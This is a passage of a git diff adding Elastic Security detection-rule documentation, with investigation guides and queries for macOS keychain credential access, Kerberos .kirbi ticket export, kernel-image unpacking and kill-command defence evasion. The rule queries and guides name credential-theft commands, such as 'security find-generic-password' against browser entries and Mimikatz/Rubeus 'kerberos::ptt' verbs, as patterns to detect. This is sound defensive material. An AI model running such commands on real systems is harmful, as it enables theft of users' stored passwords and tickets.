accessing or unpacking kernel files might be flagged. Review these operations and exclude them by specifying the responsible process names or arguments in the detection rule. +- Automated security tools that scan or analyze kernel images for compliance or vulnerability assessments can be mistaken for malicious activity. Exclude these tools by adding their process names to the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent potential lateral movement or further exploitation by the adversary. +- Terminate any suspicious processes identified by the detection rule, especially those involving the unpacking of kernel images or modules. +- Conduct a thorough review of the system's kernel and module integrity using trusted tools to ensure no unauthorized modifications have been made. +- Restore the system from a known good backup if any unauthorized changes to the kernel or system files are detected. +- Update the system's kernel and all related packages to the latest versions to mitigate any known vulnerabilities that could be exploited. +- Monitor the system for any recurring suspicious activity, focusing on the use of utilities and command patterns identified in the detection rule. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name in ("file", "unlzma", "gunzip", "unxz", "bunzip2", "unzstd", "unzip", "tar")) or + (process.name == "grep" and process.args == "ELF") or + (process.name in ("lzop", "lz4") and process.args in ("-d", "--decode")) +) and +not ( + process.parent.name == "mkinitramfs" or + process.parent.executable like ( + "/usr/lib/needrestart/vmlinuz-get-version", "/usr/libexec/platform-python*", "/tmp/newroot/usr/libexec/platform-python*", + "/usr/bin/kdumpctl", "/usr/bin/stap-report", "/usr/sbin/nv-update-initrd" + ) or + process.parent.command_line like "*ansible*" or + process.parent.args == "/usr/bin/kdumpctl" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-commandline-interaction-via-unsigned-or-untrusted-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-commandline-interaction-via-unsigned-or-untrusted-process.asciidoc new file mode 100644 index 0000000000..6466b039d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-commandline-interaction-via-unsigned-or-untrusted-process.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-keychain-commandline-interaction-via-unsigned-or-untrusted-process]] +=== Keychain CommandLine Interaction via Unsigned or Untrusted Process + +Adversaries may collect the keychain storage data from a system to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes and certificates. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x25.html +* https://securelist.com/calisto-trojan-for-macos/86543/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Keychain CommandLine Interaction via Unsigned or Untrusted Process* + + +macOS keychains securely store user credentials, such as passwords and certificates, essential for system and application authentication. Adversaries may target these directories to extract sensitive information, potentially compromising user accounts and system integrity. The detection rule identifies suspicious access attempts by monitoring process activities related to keychain directories, excluding known legitimate processes and actions, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the process details that triggered the alert, focusing on the process.args field to identify the specific keychain directory accessed and the nature of the access attempt. +- Examine the process.parent.executable and process.executable fields to determine the origin of the process and assess whether it is a known or potentially malicious application. +- Investigate the process.Ext.effective_parent.executable field to trace the parent process chain and identify any unusual or unauthorized parent processes that may have initiated the access. +- Check for any recent changes or installations on the system that could explain the access attempt, such as new software or updates that might interact with keychain directories. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional suspicious activities that could indicate a broader compromise. + + +*False positive analysis* + + +- Processes related to legitimate security applications like Microsoft Defender, JumpCloud Agent, and Rapid7 IR Agent may trigger false positives. Users can mitigate this by ensuring these applications are included in the exclusion list for process executables and effective parent executables. +- Routine administrative tasks involving keychain management, such as setting keychain settings or importing certificates, might be flagged. To handle this, users should add these specific actions to the exclusion list for process arguments. +- Applications like OpenVPN Connect and JAMF management tools that interact with keychain directories for legitimate purposes can cause false alerts. Users should verify these applications are part of the exclusion list for parent executables to prevent unnecessary alerts. +- Regular system maintenance or updates that involve keychain access might be misinterpreted as suspicious. Users should monitor these activities and adjust the exclusion criteria as needed to accommodate known maintenance processes. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule that are attempting to access keychain directories without legitimate reasons. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access or modifications to keychain files. +- Change all passwords and credentials stored in the keychain on the affected system to prevent potential misuse of compromised credentials. +- Restore the system from a known good backup if unauthorized access has led to system integrity issues or data corruption. +- Implement additional monitoring on the affected system to detect any further unauthorized access attempts, focusing on the keychain directories and related processes. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and event.action == "exec" and + process.args like ("/Users/*/Library/Keychains/*", "/Library/Keychains/*", "login.keychain-db", "login.keychain") and + ((process.code_signature.trusted == false or process.code_signature.exists == false) or + (process.name in ("bash", "sh", "zsh", "osascript", "cat", "echo", "cp") and + (process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false))) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-password-retrieval-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-password-retrieval-via-command-line.asciidoc new file mode 100644 index 0000000000..8495a6730d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-keychain-password-retrieval-via-command-line.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-keychain-password-retrieval-via-command-line]] +=== Keychain Password Retrieval via Command Line + +Adversaries may collect keychain storage data from a system to in order to acquire credentials. Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netmeister.org/blog/keychain-passwords.html +* https://github.com/priyankchheda/chrome_password_grabber/blob/master/chrome.py +* https://ss64.com/osx/security.html +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Keychain Password Retrieval via Command Line* + + +Keychain is macOS's secure storage system for managing user credentials, including passwords and certificates. Adversaries may exploit command-line tools to extract sensitive data from Keychain, targeting browsers like Chrome and Safari. The detection rule identifies suspicious command executions involving Keychain access, focusing on specific arguments and excluding legitimate applications, to flag potential credential theft attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the 'security' command with arguments '-wa' or '-ga' and 'find-generic-password' or 'find-internet-password', as these indicate attempts to access Keychain data. +- Examine the command line for references to browsers such as Chrome, Safari, or others specified in the rule to determine if the target was browser-related credentials. +- Investigate the parent process of the suspicious command to ensure it is not a legitimate application, specifically checking that it is not the Keeper Password Manager, as this is excluded in the rule. +- Check the user account associated with the process execution to determine if the activity aligns with expected behavior for that user or if it suggests unauthorized access. +- Review recent login and access logs for the system to identify any unusual or unauthorized access patterns that could correlate with the suspicious Keychain access attempt. +- Assess the system for any additional indicators of compromise or related suspicious activities that might suggest a broader security incident. + + +*False positive analysis* + + +- Legitimate password managers like Keeper Password Manager may trigger the rule due to their access to Keychain for managing user credentials. To handle this, ensure that the process parent executable path for such applications is added to the exclusion list. +- System maintenance or administrative scripts that access Keychain for legitimate purposes might be flagged. Review these scripts and, if verified as safe, add their specific command patterns to the exception list. +- Development or testing tools that interact with browsers and require Keychain access could cause false positives. Identify these tools and exclude their specific process names or command-line arguments if they are part of regular operations. +- Automated backup or synchronization services that access browser credentials stored in Keychain may be mistakenly identified. Confirm these services' legitimacy and exclude their associated processes from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the 'security' command with the specified arguments targeting browsers. +- Conduct a thorough review of the system's keychain access logs to identify any unauthorized access attempts and determine the scope of the compromise. +- Change all potentially compromised credentials stored in the keychain, including browser passwords and Wi-Fi credentials, and ensure they are updated across all relevant services. +- Implement additional monitoring on the affected system and similar endpoints to detect any further attempts to access keychain data using command-line tools. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. +- Review and update endpoint security configurations to restrict unauthorized access to keychain data and enhance logging for keychain-related activities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.action == "exec" and + process.name == "security" and + process.args like ("-wa", "-ga") and process.args like~ ("find-generic-password", "find-internet-password") and + process.command_line : ("*Chrome*", "*Chromium*", "*Opera*", "*Safari*", "*Brave*", "*Microsoft Edge*", "*Firefox*") and + not process.parent.executable like "/Applications/Keeper Password Manager.app/Contents/Frameworks/Keeper Password Manager Helper*/Contents/MacOS/Keeper Password Manager Helper*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Keychain +** ID: T1555.001 +** Reference URL: https://attack.mitre.org/techniques/T1555/001/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kill-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kill-command-execution.asciidoc new file mode 100644 index 0000000000..efbe399a50 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kill-command-execution.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-kill-command-execution]] +=== Kill Command Execution + +This rule detects the execution of kill, pkill, and killall commands on Linux systems. These commands are used to terminate processes on a system. Attackers may use these commands to kill security tools or other processes to evade detection or disrupt system operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kill Command Execution* + +In Linux environments, commands like kill, pkill, and killall are essential for managing processes, allowing users to terminate them as needed. However, adversaries can exploit these commands to disable security tools or disrupt operations, aiding in evasion tactics. The detection rule identifies such misuse by monitoring process execution events, specifically targeting these commands to flag potential threats. + + +*Possible investigation steps* + + +- Review the process execution event details to identify the user account associated with the kill, pkill, or killall command execution. This can help determine if the action was performed by a legitimate user or a potential adversary. +- Examine the parent process of the command execution to understand the context in which the kill command was initiated. This can provide insights into whether the command was part of a script or an interactive session. +- Check the target process IDs (PIDs) that were terminated by the kill command to assess if critical or security-related processes were affected, which might indicate malicious intent. +- Investigate the timing and frequency of the command execution to identify patterns or anomalies, such as repeated or scheduled executions, which could suggest automated or scripted activity. +- Correlate the event with other security alerts or logs from the same host around the same timeframe to identify any related suspicious activities or indicators of compromise. + + +*False positive analysis* + + +- Routine system maintenance tasks may trigger the rule when administrators use kill commands to manage processes. To handle this, create exceptions for known maintenance scripts or processes by identifying their unique attributes, such as user or command line arguments. +- Automated scripts or monitoring tools that use kill commands for legitimate purposes, like restarting services, can cause false positives. Exclude these by specifying the script names or paths in the detection rule. +- Development environments where developers frequently use kill commands during testing can lead to alerts. Consider excluding processes executed by specific user accounts associated with development activities. +- System updates or package management tools might use kill commands as part of their operation. Identify these processes and exclude them based on their parent process or command line patterns. +- Backup or recovery operations that involve stopping services may trigger the rule. Exclude these by recognizing the specific backup software or service names involved. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further malicious activity or lateral movement by the attacker. +- Identify and terminate any unauthorized or suspicious processes that were started around the time of the alert, focusing on those that may have been targeted by the kill, pkill, or killall commands. +- Review system logs and process execution history to determine the origin of the kill command execution and assess whether it was initiated by a legitimate user or a compromised account. +- Restore any terminated security tools or critical processes to ensure the system's defenses are fully operational. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection tools to identify and remove any additional malware or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for similar command executions across the network to enhance detection and response capabilities for future incidents. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and +process.name:(kill or pkill or killall) and not ( + process.args:("-HUP" or "-SIGUSR1" or "-USR2" or "-WINCH" or "-USR1") or + process.parent.command_line:"runc init" or + process.parent.executable:( + "/usr/lib/systemd/systemd" or "/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent" or "/bin/xargs" or + "/usr/bin/xargs" or "/usr/bin/sudo" or "/usr/sbin/safe_asterisk" or "/usr/local/manageengine/uems_agent/bin/dcservice" or + "/lib/systemd/systemd" or "/opt/nessus_agent/sbin/nessuscli" or "/etc/rubrik/start_stop_bootstrap.sh" or + "/usr/local/manageengine/uems_agent/bin/dcpatchscan") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kirbi-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kirbi-file-creation.asciidoc new file mode 100644 index 0000000000..d7aab4a7c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kirbi-file-creation.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-kirbi-file-creation]] +=== Kirbi File Creation + +Identifies the creation of .kirbi files, a suspicious Kerberos ticket artifact often produced by ticket export or dumping tools such as Rubeus or Mimikatz. This can indicate preparation for Kerberos ticket theft or later abuse, including Pass-The-Ticket (PTT), and should be validated with writer process and follow-on activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* winlogbeat-* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1558/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kirbi File Creation* + + +*Possible investigation steps* + + +- What does the alert-local ticket artifact show? + - Focus: `file.path`, `file.name`, `file.extension`, `file.size`, and `@timestamp`, plus `host.id` and `user.id` for scope. + - Implication: escalate when a ".kirbi" file lands in temp, public, user-profile, archive, or tool-staging paths, when `file.name` encodes a user, service, or realm, or when size and naming fit ticket export; lower suspicion only when the artifact path, name, host, and user match one known evidence-collection pattern before any workflow corroboration. + +- Which process wrote the ticket file? + - Focus: writer identity and launch context: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.parent.executable`; use `process.entity_id` only to scope this process instance. + - Hint: if only `process.pid` is present, recover the writer with `host.id`, `process.pid`, and a tight window around `@timestamp`. + - Implication: escalate when unsigned, renamed, script- or shell-launched, or user-writable tooling writes the file; lower suspicion only when identity, signer, parent, and path match a recognized testing or IR workflow. Trusted identity alone does not clear ticket export. + +- Does the command line or lineage show ticket export or ticket-use intent? + - Focus: `process.command_line`, `process.parent.command_line`, and surrounding process events for the same `host.id` and `process.entity_id`, or `process.pid` when entity IDs are absent. !{investigate{"description":"","label":"Process events for the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when arguments or lineage show dump, export, outfile, archive staging, Mimikatz/Rubeus-style verbs, "ptt", "kerberos::ptt", scripting, or remote-admin chains; lower suspicion only when command line and lineage fit the same confirmed test or troubleshooting workflow. + +- Did the same writer stage more tickets or hide them? + - Focus: file events for `host.id` and `process.entity_id`: `file.path` and `file.name` for additional ".kirbi" writes, renames, archives, or extension changes. !{investigate{"description":"","label":"File events for the same process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the writer creates several ticket files, renames them into archives, removes the extension, or stores them beside collection tools; one unchanged ticket in a controlled evidence directory lowers scope but does not close by itself. + +- How sensitive is the user and host context? + - Focus: `host.name`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate faster when a domain, service, or privileged identity writes the ticket, or when the same host/user also shows staging or follow-on use; lower severity only when a constrained lab identity and lab host match the telemetry and corroborating case evidence. + +- Is there follow-on ticket import, remote access, or lateral movement after export? + - Why: ".kirbi" creation proves ticket material was written; risk increases sharply if the same host or user tries to use it. + - Focus: start with direct child process events from the writer process using `host.id` with `process.parent.entity_id`, or `process.parent.pid` when entity IDs are absent. !{investigate{"description":"","label":"Child process events from the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} Expand manually to broader later process activity for the same `host.id` or `user.id` when needed, especially `process.command_line`. + - Implication: escalate when later commands show "ptt", "kerberos::ptt", "klist", remote execution, archive movement, or access to new systems after export; matching authentication or connection telemetry can corroborate impact, but missing telemetry is unresolved, not benign. + +- If local evidence stays suspicious or unresolved, do related alerts broaden the case? + - Focus: related credential-access, lateral-movement, archive, and suspicious-authentication alerts for `user.id` in the last 48 hours. !{investigate{"description":"","label":"Alerts associated with the 